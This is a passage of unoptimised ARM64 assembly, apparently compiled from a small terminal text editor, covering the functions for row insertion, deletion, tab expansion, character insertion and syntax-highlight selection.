cset w8, hi
tbnz w8, #0, LBB9_8
; %bb.1:
ldr x11, [sp] ; 8-byte Folded Reload
adrp x10, lJTI9_0@PAGE
add x10, x10, lJTI9_0@PAGEOFF
Ltmp3:
adr x8, Ltmp3
ldrsw x9, [x10, x11, lsl #2]
add x8, x8, x9
br x8
LBB9_2:
mov w8, #36
str w8, [sp, #12]
b LBB9_9
LBB9_3:
mov w8, #33
str w8, [sp, #12]
b LBB9_9
LBB9_4:
mov w8, #32
str w8, [sp, #12]
b LBB9_9
LBB9_5:
mov w8, #35
str w8, [sp, #12]
b LBB9_9
LBB9_6:
mov w8, #31
str w8, [sp, #12]
b LBB9_9
LBB9_7:
mov w8, #34
str w8, [sp, #12]
b LBB9_9
LBB9_8:
mov w8, #37
str w8, [sp, #12]
b LBB9_9
LBB9_9:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
.p2align 2
lJTI9_0:
.long LBB9_2-Ltmp3
.long LBB9_2-Ltmp3
.long LBB9_3-Ltmp3
.long LBB9_4-Ltmp3
.long LBB9_5-Ltmp3
.long LBB9_6-Ltmp3
.long LBB9_7-Ltmp3
; -- End function
.globl _editorSelectSyntaxHighlight ; -- Begin function editorSelectSyntaxHighlight
.p2align 2
_editorSelectSyntaxHighlight: ; @editorSelectSyntaxHighlight
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #8] ; 8-byte Folded Spill
stur x0, [x29, #-8]
stur wzr, [x29, #-12]
b LBB10_1
LBB10_1: ; =>This Loop Header: Depth=1
; Child Loop BB10_3 Depth 2
ldur w8, [x29, #-12]
; kill: def $x8 killed $w8
subs x8, x8, #1
cset w8, hs
tbnz w8, #0, LBB10_12
b LBB10_2
LBB10_2: ; in Loop: Header=BB10_1 Depth=1
ldur w8, [x29, #-12]
mov x9, x8
adrp x8, _HLDB@PAGE
add x8, x8, _HLDB@PAGEOFF
add x8, x8, x9, lsl #5
stur x8, [x29, #-24]
stur wzr, [x29, #-28]
b LBB10_3
LBB10_3: ; Parent Loop BB10_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur x8, [x29, #-24]
ldr x8, [x8]
ldur w9, [x29, #-28]
; kill: def $x9 killed $w9
ldr x8, [x8, x9, lsl #3]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB10_10
b LBB10_4
LBB10_4: ; in Loop: Header=BB10_3 Depth=2
ldur x8, [x29, #-24]
ldr x8, [x8]
ldur w9, [x29, #-28]
; kill: def $x9 killed $w9
ldr x0, [x8, x9, lsl #3]
bl _strlen
mov x8, x0
str w8, [sp, #20]
ldur x0, [x29, #-8]
ldur x8, [x29, #-24]
ldr x8, [x8]
ldur w9, [x29, #-28]
; kill: def $x9 killed $w9
ldr x1, [x8, x9, lsl #3]
bl _strstr
mov x8, x0
str x8, [sp, #24]
subs x8, x0, #0
cset w8, eq
tbnz w8, #0, LBB10_9
b LBB10_5
LBB10_5: ; in Loop: Header=BB10_3 Depth=2
ldur x8, [x29, #-24]
ldr x8, [x8]
ldur w9, [x29, #-28]
; kill: def $x9 killed $w9
ldr x8, [x8, x9, lsl #3]
ldrsb w8, [x8]
subs w8, w8, #46
cset w8, ne
tbnz w8, #0, LBB10_7
b LBB10_6
LBB10_6: ; in Loop: Header=BB10_3 Depth=2
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB10_8
b LBB10_7
LBB10_7:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldur x8, [x29, #-24]
str x8, [x9, #144]
b LBB10_12
LBB10_8: ; in Loop: Header=BB10_3 Depth=2
b LBB10_9
LBB10_9: ; in Loop: Header=BB10_3 Depth=2
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB10_3
LBB10_10: ; in Loop: Header=BB10_1 Depth=1
b LBB10_11
LBB10_11: ; in Loop: Header=BB10_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB10_1
LBB10_12:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _editorUpdateRow ; -- Begin function editorUpdateRow
.p2align 2
_editorUpdateRow: ; @editorUpdateRow
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur wzr, [x29, #-12]
str wzr, [sp, #16]
ldur x8, [x29, #-8]
ldr x0, [x8, #24]
bl _free
str wzr, [sp, #12]
b LBB11_1
LBB11_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
ldur x9, [x29, #-8]
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB11_6
b LBB11_2
LBB11_2: ; in Loop: Header=BB11_1 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
subs w8, w8, #9
cset w8, ne
tbnz w8, #0, LBB11_4
b LBB11_3
LBB11_3: ; in Loop: Header=BB11_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB11_4
LBB11_4: ; in Loop: Header=BB11_1 Depth=1
b LBB11_5
LBB11_5: ; in Loop: Header=BB11_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB11_1
LBB11_6:
ldur x8, [x29, #-8]
ldr w8, [x8, #4]
ldur w9, [x29, #-12]
add w8, w8, w9, lsl #3
ldr w9, [sp, #16]
mov w10, #9
mul w9, w9, w10
add w8, w8, w9
add w9, w8, #1
; implicit-def: $x8
mov x8, x9
sxtw x0, w8
bl _malloc
ldur x8, [x29, #-8]
str x0, [x8, #24]
str wzr, [sp, #8]
str wzr, [sp, #12]
b LBB11_7
LBB11_7: ; =>This Loop Header: Depth=1
; Child Loop BB11_10 Depth 2
ldr w8, [sp, #12]
ldur x9, [x29, #-8]
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB11_16
b LBB11_8
LBB11_8: ; in Loop: Header=BB11_7 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
subs w8, w8, #9
cset w8, ne
tbnz w8, #0, LBB11_13
b LBB11_9
LBB11_9: ; in Loop: Header=BB11_7 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
ldrsw x9, [sp, #8]
mov x10, x9
add w10, w10, #1
str w10, [sp, #8]
add x9, x8, x9
mov w8, #32
strb w8, [x9]
b LBB11_10
LBB11_10: ; Parent Loop BB11_7 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #8]
add w8, w8, #1
mov w10, #8
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB11_12
b LBB11_11
LBB11_11: ; in Loop: Header=BB11_10 Depth=2
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
ldrsw x9, [sp, #8]
mov x10, x9
add w10, w10, #1
str w10, [sp, #8]
add x9, x8, x9
mov w8, #32
strb w8, [x9]
b LBB11_10
LBB11_12: ; in Loop: Header=BB11_7 Depth=1
b LBB11_14
LBB11_13: ; in Loop: Header=BB11_7 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldrsw x9, [sp, #12]
add x8, x8, x9
ldrb w8, [x8]
ldur x9, [x29, #-8]
ldr x9, [x9, #24]
ldrsw x10, [sp, #8]
mov x11, x10
add w11, w11, #1
str w11, [sp, #8]
add x9, x9, x10
strb w8, [x9]
b LBB11_14
LBB11_14: ; in Loop: Header=BB11_7 Depth=1
b LBB11_15
LBB11_15: ; in Loop: Header=BB11_7 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB11_7
LBB11_16:
ldr w8, [sp, #8]
ldur x9, [x29, #-8]
str w8, [x9, #8]
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
ldrsw x9, [sp, #8]
add x8, x8, x9
strb wzr, [x8]
ldur x0, [x29, #-8]
bl _editorUpdateSyntax
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _editorInsertRow ; -- Begin function editorInsertRow
.p2align 2
_editorInsertRow: ; @editorInsertRow
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x9, _E@PAGE
add x9, x9, _E@PAGEOFF
str x9, [sp, #8] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur x1, [x29, #-16]
str x2, [sp, #24]
ldur w8, [x29, #-4]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB12_2
b LBB12_1
LBB12_1:
b LBB12_9
LBB12_2:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x0, [x8, #32]
ldr w8, [x8, #24]
add w9, w8, #1
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
mov x8, #48
mul x1, x8, x9
bl _realloc
ldr x9, [sp, #8] ; 8-byte Folded Reload
str x0, [x9, #32]
ldur w8, [x29, #-4]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB12_8
b LBB12_3
LBB12_3:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x9, [x8, #32]
ldursw x10, [x29, #-4]
mov x11, #48
mul x10, x10, x11
add x9, x9, x10
add x0, x9, #48
ldr x9, [x8, #32]
ldursw x10, [x29, #-4]
mul x10, x10, x11
add x1, x9, x10
ldr w8, [x8, #24]
ldur w9, [x29, #-4]
subs w9, w8, w9
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
mov x8, #48
mul x2, x8, x9
mov x3, #-1
bl ___memmove_chk
ldur w8, [x29, #-4]
add w8, w8, #1
str w8, [sp, #20]
b LBB12_4
LBB12_4: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #20]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB12_7
b LBB12_5
LBB12_5: ; in Loop: Header=BB12_4 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldrsw x9, [sp, #20]
mov x10, #48
mul x9, x9, x10
add x9, x8, x9
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB12_6
LBB12_6: ; in Loop: Header=BB12_4 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB12_4
LBB12_7:
b LBB12_8
LBB12_8:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp, #24]
ldr x9, [x9, #32]
ldursw x10, [x29, #-4]
mov x11, #48
str x11, [sp] ; 8-byte Folded Spill
mul x10, x10, x11
add x9, x9, x10
; kill: def $w8 killed $w8 killed $x8
str w8, [x9, #4]
ldr x8, [sp, #24]
add x0, x8, #1
bl _malloc
ldr x10, [sp] ; 8-byte Folded Reload
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x9, [x8, #32]
ldursw x11, [x29, #-4]
mul x11, x11, x10
add x9, x9, x11
str x0, [x9, #16]
ldr x8, [x8, #32]
ldursw x9, [x29, #-4]
mul x9, x9, x10
add x8, x8, x9
ldr x0, [x8, #16]
ldur x1, [x29, #-16]
ldr x8, [sp, #24]
add x2, x8, #1
mov x3, #-1
bl ___memcpy_chk
ldr x10, [sp] ; 8-byte Folded Reload
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x9, [x8, #32]
ldursw x11, [x29, #-4]
mul x11, x11, x10
add x9, x9, x11
; kill: def $x11 killed $xzr
str xzr, [x9, #32]
ldr x9, [x8, #32]
ldursw x11, [x29, #-4]
mul x11, x11, x10
add x9, x9, x11
str wzr, [x9, #40]
ldr x9, [x8, #32]
ldursw x11, [x29, #-4]
mul x11, x11, x10
add x9, x9, x11
str xzr, [x9, #24]
ldr x9, [x8, #32]
ldursw x11, [x29, #-4]
mul x11, x11, x10
add x9, x9, x11
str wzr, [x9, #8]
ldur w9, [x29, #-4]
ldr x11, [x8, #32]
ldursw x12, [x29, #-4]
mul x12, x12, x10
str w9, [x11, x12]
ldr x8, [x8, #32]
ldursw x9, [x29, #-4]
mul x9, x9, x10
add x0, x8, x9
bl _editorUpdateRow
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [x9, #24]
add w8, w8, #1
str w8, [x9, #24]
ldr w8, [x9, #40]
add w8, w8, #1
str w8, [x9, #40]
b LBB12_9
LBB12_9:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _editorFreeRow ; -- Begin function editorFreeRow
.p2align 2
_editorFreeRow: ; @editorFreeRow
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x8, [sp, #8]
ldr x0, [x8, #24]
bl _free
ldr x8, [sp, #8]
ldr x0, [x8, #16]
bl _free
ldr x8, [sp, #8]
ldr x0, [x8, #32]
bl _free
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _editorDelRow ; -- Begin function editorDelRow
.p2align 2
_editorDelRow: ; @editorDelRow
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x9, _E@PAGE
add x9, x9, _E@PAGEOFF
str x9, [sp, #16] ; 8-byte Folded Spill
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB14_2
b LBB14_1
LBB14_1:
b LBB14_7
LBB14_2:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldursw x9, [x29, #-4]
mov x10, #48
str x10, [sp, #8] ; 8-byte Folded Spill
mul x9, x9, x10
add x8, x8, x9
stur x8, [x29, #-16]
ldur x0, [x29, #-16]
bl _editorFreeRow
ldr x11, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x9, [x8, #32]
ldursw x10, [x29, #-4]
mul x10, x10, x11
add x0, x9, x10
ldr x9, [x8, #32]
ldursw x10, [x29, #-4]
mul x10, x10, x11
add x9, x9, x10
add x1, x9, #48
ldr w8, [x8, #24]
ldur w9, [x29, #-4]
subs w8, w8, w9
subs w9, w8, #1
; implicit-def: $x8
mov x8, x9
sxtw x9, w8
mov x8, #48
mul x2, x8, x9
mov x3, #-1
bl ___memmove_chk
ldur w8, [x29, #-4]
stur w8, [x29, #-20]
b LBB14_3
LBB14_3: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldur w8, [x29, #-20]
ldr w9, [x9, #24]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB14_6
b LBB14_4
LBB14_4: ; in Loop: Header=BB14_3 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldursw x9, [x29, #-20]
mov x10, #48
mul x9, x9, x10
add x9, x8, x9
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB14_5
LBB14_5: ; in Loop: Header=BB14_3 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB14_3
LBB14_6:
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x9, #24]
subs w8, w8, #1
str w8, [x9, #24]
ldr w8, [x9, #40]
add w8, w8, #1
str w8, [x9, #40]
b LBB14_7
LBB14_7:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _editorRowsToString ; -- Begin function editorRowsToString
.p2align 2
_editorRowsToString: ; @editorRowsToString
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #8] ; 8-byte Folded Spill
stur x0, [x29, #-8]
; kill: def $x8 killed $xzr
stur xzr, [x29, #-16]
str wzr, [sp, #20]
str wzr, [sp, #16]
b LBB15_1
LBB15_1: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #16]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB15_4
b LBB15_2
LBB15_2: ; in Loop: Header=BB15_1 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldrsw x9, [sp, #16]
mov x10, #48
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
add w9, w8, #1
ldr w8, [sp, #20]
add w8, w8, w9
str w8, [sp, #20]
b LBB15_3
LBB15_3: ; in Loop: Header=BB15_1 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB15_1
LBB15_4:
ldr w8, [sp, #20]
ldur x9, [x29, #-8]
str w8, [x9]
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
ldrsw x0, [sp, #20]
bl _malloc
mov x8, x0
stur x8, [x29, #-16]
str x0, [sp, #24]
str wzr, [sp, #16]
b LBB15_5
LBB15_5: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #16]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB15_8
b LBB15_6
LBB15_6: ; in Loop: Header=BB15_5 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x0, [sp, #24]
ldr x9, [x8, #32]
ldrsw x11, [sp, #16]
mov x10, #48
str x10, [sp] ; 8-byte Folded Spill
mul x11, x11, x10
add x9, x9, x11
ldr x1, [x9, #16]
ldr x8, [x8, #32]
ldrsw x9, [sp, #16]
mul x9, x9, x10
add x8, x8, x9
ldrsw x2, [x8, #4]
mov x3, #-1
bl ___memcpy_chk
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x10, [sp] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldrsw x9, [sp, #16]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [x8, #4]
ldr x8, [sp, #24]
add x8, x8, x9
str x8, [sp, #24]
ldr x9, [sp, #24]
mov w8, #10
strb w8, [x9]
ldr x8, [sp, #24]
add x8, x8, #1
str x8, [sp, #24]
b LBB15_7
LBB15_7: ; in Loop: Header=BB15_5 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB15_5
LBB15_8:
ldr x8, [sp, #24]
strb wzr, [x8]
ldur x0, [x29, #-16]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _editorRowInsertChar ; -- Begin function editorRowInsertChar
.p2align 2
_editorRowInsertChar: ; @editorRowInsertChar
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp] ; 8-byte Folded Spill
stur x0, [x29, #-8]
stur w1, [x29, #-12]
str w2, [sp, #16]
ldur w8, [x29, #-12]
ldur x9, [x29, #-8]
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB16_2
b LBB16_1
LBB16_1:
ldur w8, [x29, #-12]
ldur x9, [x29, #-8]
ldr w9, [x9, #4]
subs w8, w8, w9
str w8, [sp, #12]
ldur x8, [x29, #-8]
ldr x0, [x8, #16]
ldur x8, [x29, #-8]
ldr w8, [x8, #4]
ldr w9, [sp, #12]
add w8, w8, w9
add w9, w8, #2
; implicit-def: $x8
mov x8, x9
sxtw x1, w8
bl _realloc
ldur x8, [x29, #-8]
str x0, [x8, #16]
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldur x9, [x29, #-8]
ldrsw x9, [x9, #4]
add x0, x8, x9
ldrsw x2, [sp, #12]
mov w1, #32
mov x3, #-1
bl ___memset_chk
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldur x9, [x29, #-8]
ldr w9, [x9, #4]
ldr w10, [sp, #12]
add w9, w9, w10
add w9, w9, #1
add x8, x8, w9, sxtw
strb wzr, [x8]
ldr w8, [sp, #12]
add w10, w8, #1
ldur x9, [x29, #-8]
ldr w8, [x9, #4]
add w8, w8, w10
str w8, [x9, #4]
b LBB16_3
LBB16_2:
ldur x8, [x29, #-8]
ldr x0, [x8, #16]
ldur x8, [x29, #-8]
ldr w8, [x8, #4]
add w9, w8, #2
; implicit-def: $x8
mov x8, x9
sxtw x1, w8
bl _realloc
ldur x8, [x29, #-8]
str x0, [x8, #16]
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldursw x9, [x29, #-12]
add x8, x8, x9
add x0, x8, #1
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldursw x9, [x29, #-12]
add x1, x8, x9
ldur x8, [x29, #-8]
ldr w8, [x8, #4]
ldur w9, [x29, #-12]
subs w8, w8, w9
add w9, w8, #1
; implicit-def: $x8
mov x8, x9
sxtw x2, w8
mov x3, #-1
bl ___memmove_chk
ldur x9, [x29, #-8]
ldr w8, [x9, #4]
add w8, w8, #1
str w8, [x9, #4]
b LBB16_3
LBB16_3:
ldr w8, [sp, #16]
ldur x9, [x29, #-8]
ldr x9, [x9, #16]
ldursw x10, [x29, #-12]
strb w8, [x9, x10]
ldur x0, [x29, #-8]
bl _editorUpdateRow
ldr x9, [sp] ; 8-byte Folded Reload
ldr w8, [x9, #40]
add w8, w8, #1
str w8, [x9, #40]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _editorRowAppendString ; -- Begin function editorRowAppendString
.p2align 2
_editorRowAppendString: ; @editorRowAppendString
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp] ; 8-byte Folded Spill
stur x0, [x29, #-8]
str x1, [sp, #16]
str x2, [sp, #8]
ldur x8, [x29, #-8]
ldr x0, [x8, #16]
ldur x8, [x29, #-8]
ldrsw x8, [x8, #4]
ldr x9, [sp, #8]
add x8, x8, x9
add x1, x8, #1
bl _realloc
ldur x8, [x29, #-8]
str x0, [x8, #16]
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldur x9, [x29, #-8]
ldrsw x9, [x9, #4]
ldr x1, [sp, #16]
ldr x2, [sp, #8]
add x0, x8, x9
mov x3, #-1
bl ___memcpy_chk
ldr x10, [sp, #8]
ldur x9, [x29, #-8]
ldrsw x8, [x9, #4]
add x8, x8, x10
; kill: def $w8 killed $w8 killed $x8
str w8, [x9, #4]
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldur x9, [x29, #-8]
ldrsw x9, [x9, #4]
add x8, x8, x9
strb wzr, [x8]
ldur x0, [x29, #-8]
bl _editorUpdateRow
ldr x9, [sp] ; 8-byte Folded Reload
ldr w8, [x9, #40]
add w8, w8, #1
str w8, [x9, #40]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _editorRowDelChar ; -- Begin function editorRowDelChar
.p2align 2
_editorRowDelChar: ; @editorRowDelChar
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #8] ; 8-byte Folded Spill
stur x0, [x29, #-8]
stur w1, [x29, #-12]
ldur x8, [x29, #-8]
ldr w8, [x8, #4]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB18_2
b LBB18_1
LBB18_1:
b LBB18_3
LBB18_2:
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldursw x9, [x29, #-12]
add x0, x8, x9
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldursw x9, [x29, #-12]
add x8, x8, x9
add x1, x8, #1
ldur x8, [x29, #-8]
ldr w8, [x8, #4]
ldur w9, [x29, #-12]
subs w9, w8, w9
; implicit-def: $x8
mov x8, x9
sxtw x2, w8
mov x3, #-1
bl ___memmove_chk
ldur x0, [x29, #-8]
bl _editorUpdateRow
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldur x10, [x29, #-8]
ldr w8, [x10, #4]
subs w8, w8, #1
str w8, [x10, #4]
ldr w8, [x9, #40]
add w8, w8, #1
str w8, [x9, #40]
b LBB18_3
LBB18_3:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _editorInsertChar ; -- Begin function editorInsertChar
.p2align 2
_editorInsertChar: ; @editorInsertChar
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x10, _E@PAGE
adrp x9, _E@PAGE
add x9, x9, _E@PAGEOFF
str x9, [sp, #16] ; 8-byte Folded Spill
stur w0, [x29, #-4]
ldr w8, [x9, #8]
ldr w11, [x9, #4]
add w8, w8, w11
stur w8, [x29, #-8]
ldr w8, [x9, #12]
ldr w10, [x10, _E@PAGEOFF]
add w8, w8, w10
stur w8, [x29, #-12]
ldur w8, [x29, #-8]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB19_2
b LBB19_1
LBB19_1:
mov x8, #0
str x8, [sp, #8] ; 8-byte Folded Spill
b LBB19_3
LBB19_2:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldursw x9, [x29, #-8]
mov x10, #48
mul x9, x9, x10
add x8, x8, x9
str x8, [sp, #8] ; 8-byte Folded Spill
b LBB19_3
LBB19_3:
ldr x8, [sp, #8] ; 8-byte Folded Reload
str x8, [sp, #24]
ldr x8, [sp, #24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB19_8
b LBB19_4
LBB19_4:
b LBB19_5
LBB19_5: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x8, #24]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB19_7
b LBB19_6
LBB19_6: ; in Loop: Header=BB19_5 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr w0, [x8, #24]
adrp x1, l_.str.29@PAGE
add x1, x1, l_.str.29@PAGEOFF
mov x2, #0
bl _editorInsertRow
b LBB19_5
LBB19_7:
b LBB19_8
LBB19_8:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldursw x9, [x29, #-8]
mov x10, #48
mul x9, x9, x10
add x8, x8, x9
str x8, [sp, #24]
ldr x0, [sp, #24]
ldur w1, [x29, #-12]
ldur w2, [x29, #-4]
bl _editorRowInsertChar
ldr x9, [sp, #16] ; 8-byte Folded Reload
adrp x8, _E@PAGE
ldr w8, [x8, _E@PAGEOFF]
ldr w9, [x9, #20]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB19_10
b LBB19_9
LBB19_9:
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x9, #12]
add w8, w8, #1
str w8, [x9, #12]
b LBB19_11
LBB19_10:
adrp x9, _E@PAGE
ldr w8, [x9, _E@PAGEOFF]
add w8, w8, #1
str w8, [x9, _E@PAGEOFF]
b LBB19_11
LBB19_11:
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x9, #40]
add w8, w8, #1
str w8, [x9, #40]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _editorInsertNewline ; -- Begin function editorInsertNewline
.p2align 2
